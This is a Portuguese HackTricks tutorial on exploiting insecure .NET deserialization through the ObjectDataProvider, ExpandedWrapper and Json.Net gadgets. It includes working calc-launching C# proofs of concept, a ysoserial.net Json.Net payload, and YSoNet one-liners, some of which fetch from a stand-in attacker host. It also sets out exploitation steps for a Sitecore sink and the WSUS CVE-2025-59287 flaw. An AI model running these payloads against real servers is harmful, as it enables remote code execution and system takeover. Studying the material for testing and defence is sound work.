Desserialização .Net básica (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Esta postagem é dedicada a entender como o gadget ObjectDataProvider é explorado para obter RCE e como as bibliotecas de Serialização Json.Net e xmlSerializer podem ser abusadas com esse gadget.

ObjectDataProvider Gadget

Da documentação: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Sim, é uma explicação estranha, então vamos ver o que essa classe tem de tão interessante: esta classe permite encapsular um objeto arbitrário, usar MethodParameters para definir parâmetros arbitrários, e então usar MethodName para chamar uma função arbitrária do objeto arbitrário declarada usando os parâmetros arbitrários.
Portanto, o objeto arbitrário irá executar uma função com parâmetros durante a desserialização.

Como isso é possível

O namespace System.Windows.Data, encontrado dentro do PresentationFramework.dll em C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, é onde o ObjectDataProvider é definido e implementado.

Usando dnSpy você pode inspecionar o código da classe que nos interessa. Na imagem abaixo estamos vendo o código de PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name

Como você pode observar, quando MethodName é definido base.Refresh() é chamado; vamos ver o que isso faz:

Ok, vamos continuar vendo o que this.BeginQuery() faz. BeginQuery é sobrescrito por ObjectDataProvider e é isso que ele faz:

Note que no final do código ele está chamando this.QueryWorke(null). Vamos ver o que isso executa:

Note que este não é o código completo da função QueryWorker, mas mostra a parte interessante: o código chama this.InvokeMethodOnInstance(out ex); — esta é a linha onde o método definido é invocado.

Se você quer verificar que apenas definindo o MethodName ele será executado, você pode rodar este código:

Demonstração C#: ObjectDataProvider triggers Process.Start ```csharp using System.Windows.Data; using System.Diagnostics;

namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }

</details>

Observe que você precisa adicionar como referência _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para carregar `System.Windows.Data`

## ExpandedWrapper

Usando o exploit anterior, haverá casos em que o **object** será **desserializado como** uma instância de _**ObjectDataProvider**_ (por exemplo no DotNetNuke vuln, usando XmlSerializer, o object foi desserializado usando `GetType`). Nesse caso, não haverá **conhecimento do tipo de objeto que está encapsulado** na instância _ObjectDataProvider_ (`Process`, por exemplo). Você pode encontrar mais [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).

Esta classe permite **especificar os tipos de objeto dos objetos que estão encapsulados** em uma dada instância. Assim, essa classe pode ser usada para encapsular um objeto fonte (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
Isto é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **encapsular o _ObjectDataProvider_ dentro de uma instância _ExpandedWrapper_** e, **quando desserializada**, essa classe irá **criar** o _**ObjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.

Você pode verificar este wrapper com o seguinte código:

<details>
<summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Na página oficial é indicado que esta biblioteca permite Serialize and deserialize any .NET object with Json.NET’s powerful JSON serializer. Portanto, se conseguirmos deserialize the ObjectDataProvider gadget, poderíamos causar uma RCE apenas desserializando um objeto.

Json.Net example

Primeiro, vejamos um exemplo de como serializar/desserializar um objeto usando esta biblioteca:

C# demo: Json.NET serialize/deserialize ```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;

namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = “james@example.com”, Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { “User”, “Admin” } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{“Email”:“james@example.com”,“Active”:true,“CreatedDate”:“2013-01-20T00:00:00Z”,“Roles”:[“User”,“Admin”]}

//Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } }

</details>

### Abusando do Json.Net

Usando [ysoserial.net](https://github.com/pwntester/ysoserial.net) criei o exploit:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Neste código você pode testar o exploit; basta executá-lo e verá que o calc é executado:

C# demo: Json.NET ObjectDataProvider exploitation PoC ```csharp using System; using System.Text; using Newtonsoft.Json;

namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } }

</details>

## Cadeias de Gadgets .NET Avançadas (YSoNet & ysoserial.net)

A técnica ObjectDataProvider + ExpandedWrapper introduzida acima é apenas uma entre MUITAS cadeias de gadgets que podem ser abusadas quando uma aplicação realiza **desserialização .NET insegura**. Ferramentas modernas de red-team como **[YSoNet](https://github.com/irsdl/ysonet)** (e o mais antigo [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizam a criação de **object graphs maliciosos prontos para uso** para dezenas de gadgets e formatos de serialização.

Abaixo está uma referência condensada das cadeias mais úteis distribuídas com *YSoNet*, junto com uma rápida explicação de como funcionam e exemplos de comandos para gerar os payloads.

| Cadeia de Gadget | Ideia Principal / Primitiva | Serializadores Comuns | YSoNet one-liner |
|------------------|-----------------------------|-----------------------|------------------|
| **TypeConfuseDelegate** | Corrompe o registro `DelegateSerializationHolder` de modo que, uma vez materializado, o delegate aponta para *qualquer* método fornecido pelo atacante (por exemplo `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Abusa de `System.Workflow.ComponentModel.ActivitySurrogateSelector` para *burlar o filtro de tipos do .NET ≥4.8* e invocar diretamente o **construtor** de uma classe fornecida ou **compilar** um arquivo C# dinamicamente | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Aproveita a representação **XML legada** de `System.Data.DataSet` para instanciar tipos arbitrários preenchendo os campos `<ColumnMapping>` / `<DataType>` (opcionalmente falsificando a assembly com `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Em runtimes com WPF habilitado (> .NET 5) encadeia getters de propriedades até alcançar `System.CodeDom.Compiler.CompilerResults`, então *compila* ou *carrega* um DLL fornecido com `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Usa WPF `System.Windows.Data.ObjectDataProvider` para chamar um método estático arbitrário com argumentos controlados. YSoNet adiciona uma variante conveniente `--xamlurl` para hospedar o XAML malicioso remotamente | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Incorpora `ScriptBlock` em `System.Management.Automation.PSObject` que é executado quando o PowerShell desserializa o objeto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |

> [!TIP]
> Todos os payloads são **escritos em *stdout*** por padrão, tornando trivial redirecioná-los para outras ferramentas (por exemplo ViewState generators, base64 encoders, HTTP clients).

### Compilando / Instalando o YSoNet

Se nenhum binário pré-compilado estiver disponível em *Actions ➜ Artifacts* / *Releases*, o seguinte one-liner em **PowerShell** vai configurar um ambiente de build, clonar o repositório e compilar tudo em modo *Release*:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

O binário compilado ysonet.exe pode então ser encontrado em ysonet/bin/Release/.

Sink do mundo real: Sitecore convertToRuntimeHtml → BinaryFormatter

Um sink .NET prático acessível em fluxos autenticados do Sitecore XP Content Editor:

  • Sink API: Sitecore.Convert.Base64ToObject(string) invoca new BinaryFormatter().Deserialize(...).
  • Caminho de gatilho: pipeline convertToRuntimeHtmlConvertWebControls, que procura por um elemento irmão com id="{iframeId}_inner" e lê um atributo value que é tratado como dados serializados codificados em base64. O resultado é convertido para string e inserido no HTML.
Fluxo HTTP de trigger do sink Sitecore autenticado ```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=

// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…

</details>

- Gadget: qualquer cadeia `BinaryFormatter` que retorne uma `string` (efeitos colaterais executam-se durante a desserialização). See YSoNet/ysoserial.net to generate payloads.

For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:

<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>

## Estudo de caso: WSUS unsafe .NET deserialization (CVE-2025-59287)

- Produto/papel: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
- Superfície de ataque: IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (often exposed internally; Internet exposure is high risk).
- Causa raiz: Unauthenticated deserialization of attacker-controlled data using legacy formatters:
- `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`.
- `ReportingWebService` performs unsafe deserialization via `SoapFormatter`.
- Impacto: A crafted serialized object triggers a gadget chain during deserialization, leading to arbitrary code execution as `NT AUTHORITY\SYSTEM` under either the WSUS service (`wsusservice.exe`) or the IIS app pool `wsuspool` (`w3wp.exe`).

Notas práticas de exploração
- Descoberta: Scan for WSUS on TCP 8530/8531. Treat any pre-auth serialized blob reaching WSUS web methods as a potential sink for `BinaryFormatter`/`SoapFormatter` payloads.
- Payloads: Use YSoNet/ysoserial.net to generate `BinaryFormatter` or `SoapFormatter` chains (e.g., `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Linha de processo esperada em caso de sucesso:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`

## Referências
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)

> [!TIP]
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporte o HackTricks</summary>
>
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
>
> </details>